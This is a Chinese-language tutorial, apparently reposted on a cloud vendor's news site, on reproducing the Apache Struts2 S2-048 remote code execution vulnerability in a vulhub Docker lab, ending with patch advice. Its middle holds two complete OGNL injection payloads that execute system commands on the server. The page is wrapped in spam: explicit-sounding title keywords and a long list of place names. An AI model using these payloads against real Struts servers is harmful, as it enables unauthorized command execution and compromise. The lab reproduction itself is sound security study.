91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

發布時間:2022-01-14 22:41:30 來源:億速云 閱讀:197 作者:柒染 欄目:安全技術

這期內容當中小編將會給大家帶來有關怎么進行Apache Struts2--048遠程代碼執行漏洞復現,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

0x00簡介

Struts2框架是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,鼓勵開發者采用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更加整潔的MVC設計模式實現的Web應用程序框架。

0x01漏洞概述

Apache Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數數據時,由于后續數據拼接傳遞后處理不當導致任意代碼執行

0x02影響范圍

Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本。

0x03環境搭建

1.自行搭建Apache Struts2較為復雜,本次漏洞環境使用vulhub中的docker環境搭建。

下載地址:https://github.com/vulhub/vulhub

2.下載完成后解壓進入s2-048目錄,啟動漏洞環境

cd cd vulhub-master/struts2/s2-048/    //進入目錄

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

docker-compose up -d  //啟動靶場

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

3.使用docker ps 查看是否啟動成功

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

4.在瀏覽器輸入http:your-ip:8080/hello.action,看到以下頁面環境搭建完成

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

0x04漏洞復現

1. 在瀏覽器輸入以下鏈接訪問漏洞頁面

http://192.168.3.160:8080/integration/saveGangster.action

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

2.在第一個表單“Gangster Name”處輸入${1+1},下面隨意輸入,點擊submit提交查看執行了OGNL 表達式

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

2. 在Gangster Name”處把${1+1}修改為以下命令執行的payload語句

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

3. 也可以使用Burp抓包修改成命令執行的payload的語句

注:payload需要使用URL編碼

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

怎么進行Apache Struts2--048遠程代碼執行漏洞復現

4. 可以使用自動化腳本或圖形化工具實現,這里不做演示。

工具可在GitHub上搜索下載

0x05修復建議

1. 升級 建議升級到最新版本

2、根據業務情況,禁用關閉(刪除) \struts-2.3.x\apps\struts2-showcase.war包

上述就是小編為大家分享的怎么進行Apache Struts2--048遠程代碼執行漏洞復現了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

梨树县| 永定县| 漳州市| 潢川县| 广灵县| 平乡县| 沙湾县| 井研县| 惠东县| 神池县| 古丈县| 恭城| 鄢陵县| 双城市| 双牌县| 龙江县| 若尔盖县| 荃湾区| 新昌县| 西华县| 潞西市| 银川市| 密云县| 开鲁县| 仙居县| 鄂尔多斯市| 岑巩县| 易门县| 平顶山市| 台山市| 南昌市| 松溪县| 新营市| 额敏县| 汤阴县| 桐柏县| 满城县| 沂源县| 建阳市| 习水县| 乾安县|